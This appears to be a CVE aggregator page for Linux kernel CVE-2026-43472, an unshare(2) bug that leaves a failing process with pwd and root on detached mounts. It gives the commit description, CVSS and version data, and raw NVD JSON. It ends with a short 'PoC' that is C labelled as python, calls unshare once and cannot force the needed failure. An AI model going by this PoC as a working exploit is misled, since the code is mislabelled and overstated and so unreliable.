CVE-2026-43472

Description

In the Linux kernel, the following vulnerability has been resolved: unshare: fix unshare_fs() handling There's an unpleasant corner case in unshare(2), when we have a CLONE_NEWNS in flags and current->fs hadn't been shared at all; in that case copy_mnt_ns() gets passed current->fs instead of a private copy, which causes interesting warts in proof of correctness] > I guess if private means fs->users == 1, the condition could still be true. Unfortunately, it's worse than just a convoluted proof of correctness. Consider the case when we have CLONE_NEWCGROUP in addition to CLONE_NEWNS (and current->fs->users == 1). We pass current->fs to copy_mnt_ns(), all right. Suppose it succeeds and flips current->fs->{pwd,root} to corresponding locations in the new namespace. Now we proceed to copy_cgroup_ns(), which fails (e.g. with -ENOMEM). We call put_mnt_ns() on the namespace created by copy_mnt_ns(), it's destroyed and its mount tree is dissolved, but... current->fs->root and current->fs->pwd are both left pointing to now detached mounts. They are pinning those, so it's not a UAF, but it leaves the calling process with unshare(2) failing with -ENOMEM _and_ leaving it with pwd and root on detached isolated mounts. The last part is clearly a bug. There is other fun related to that mess (races with pivot_root(), including the one between pivot_root() and fork(), of all things), but this one is easy to isolate and fix - treat CLONE_NEWNS as "allocate a new fs_struct even if it hadn't been shared in the first place". Sure, we could go for something like "if both CLONE_NEWNS *and* one of the things that might end up failing after copy_mnt_ns() call in create_new_namespaces() are set, force allocation of new fs_struct", but let's keep it simple - the cost of copy_fs_struct() is trivial. Another benefit is that copy_mnt_ns() with CLONE_NEWNS *always* gets a freshly allocated fs_struct, yet to be attached to anything. That seriously simplifies the analysis... FWIW, that bug had been there since the introduction of unshare(2) ;-/

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.6 (Specific commits fix this)

Linux Kernel Stable Series (v5.10, v5.15, v6.1 etc before specific patches)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <sched.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

#define _GNU_SOURCE

/*
 * PoC for CVE-2026-43472
 * This program attempts to trigger the vulnerable code path in unshare(2).
 * It uses CLONE_NEWNS and CLONE_NEWCGROUP. To trigger the bug,
 * copy_cgroup_ns() needs to fail after copy_mnt_ns() succeeds.
 * In a real scenario, this might require resource exhaustion conditions.
 */

int main() {
    printf("[+] Attempting to trigger CVE-2026-43472...\n");

    // CLONE_NEWNS | CLONE_NEWCGROUP
    int ret = unshare(CLONE_NEWNS | CLONE_NEWCGROUP);

    if (ret == 0) {
        printf("[+] unshare succeeded. If kernel is vulnerable and conditions met, fs state might be corrupted.\n");
    } else {
        perror("[-] unshare failed");
        // Failure is expected to trigger the specific bug path (clean up logic)
        printf("[!] unshare failed with error. Check kernel logs for instability.\n");
    }

    // Access filesystem to check if we are on a detached mount
    char cwd[1024];
    if (getcwd(cwd, sizeof(cwd)) != NULL) {
        printf("[+] Current directory: %s\n", cwd);
    }

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43472
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43472
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43472/
[4] VulDB https://vuldb.com/cve/CVE-2026-43472
[5] https://git.kernel.org/stable/c/42e21e74061b0ebbd859839f81acf10efad02a27
[6] https://git.kernel.org/stable/c/6c4b2243cb6c0755159bd567130d5e12e7b10d9f
[7] https://git.kernel.org/stable/c/845bf3c6963a52096d0d3866e4a92db77a0c03d8
[8] https://git.kernel.org/stable/c/aa9ebc084505fb26dd90f4d7a249045aad152043
[9] https://git.kernel.org/stable/c/af8f4be3b68ac8caa41c8e5ead0eeaf5e85e42d0
[10] https://git.kernel.org/stable/c/d0d99f60538ddb4a62ccaac2168d8f448965f083
[11] https://git.kernel.org/stable/c/d3ffc8f13034af895531a02c30b1fe3a34b46432
[12] https://git.kernel.org/stable/c/d7963d6997fea86a6def242ac36198b86655f912

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43472", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:17:00.313", "lastModified": "2026-05-21T14:59:05.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nunshare: fix unshare_fs() handling\n\nThere's an unpleasant corner case in unshare(2), when we have a\nCLONE_NEWNS in flags and current->fs hadn't been shared at all; in that\ncase copy_mnt_ns() gets passed current->fs instead of a private copy,\nwhich causes interesting warts in proof of correctness]\n\n> I guess if private means fs->users == 1, the condition could still be true.\n\nUnfortunately, it's worse than just a convoluted proof of correctness.\nConsider the case when we have CLONE_NEWCGROUP in addition to CLONE_NEWNS\n(and current->fs->users == 1).\n\nWe pass current->fs to copy_mnt_ns(), all right. Suppose it succeeds and\nflips current->fs->{pwd,root} to corresponding locations in the new namespace.\nNow we proceed to copy_cgroup_ns(), which fails (e.g. with -ENOMEM).\nWe call put_mnt_ns() on the namespace created by copy_mnt_ns(), it's\ndestroyed and its mount tree is dissolved, but... current->fs->root and\ncurrent->fs->pwd are both left pointing to now detached mounts.\n\nThey are pinning those, so it's not a UAF, but it leaves the calling\nprocess with unshare(2) failing with -ENOMEM _and_ leaving it with\npwd and root on detached isolated mounts. The last part is clearly a bug.\n\nThere is other fun related to that mess (races with pivot_root(), including\nthe one between pivot_root() and fork(), of all things), but this one\nis easy to isolate and fix - treat CLONE_NEWNS as \"allocate a new\nfs_struct even if it hadn't been shared in the first place\". Sure, we could\ngo for something like \"if both CLONE_NEWNS *and* one of the things that might\nend up failing after copy_mnt_ns() call in create_new_namespaces() are set,\nforce allocation of new fs_struct\", but let's keep it simple - the cost\nof copy_fs_struct() is trivial.\n\nAnother benefit is that copy_mnt_ns() with CLONE_NEWNS *always* gets\na freshly allocated fs_struct, yet to be attached to anything. That\nseriously simplifies the analysis...\n\nFWIW, that bug had been there since the introduction of unshare(2) ;-/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.16.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "C527DFD3-87E2-45E8-8722-B18DC25946EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:-:*:*:*:*:*:*", "matchCriteriaId": "EBF2513D-8F4F-4ED5-ADCE-9933F34F1BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc3:*:*:*:*:*:*", "matchCriteriaId": "54393D69-B368-4296-9798-D81570495C6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc4:*:*:*:*:*:*", "matchCriteriaId": "6791A801-9E06-47DD-912F-D8594E2F6B3F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:l ... 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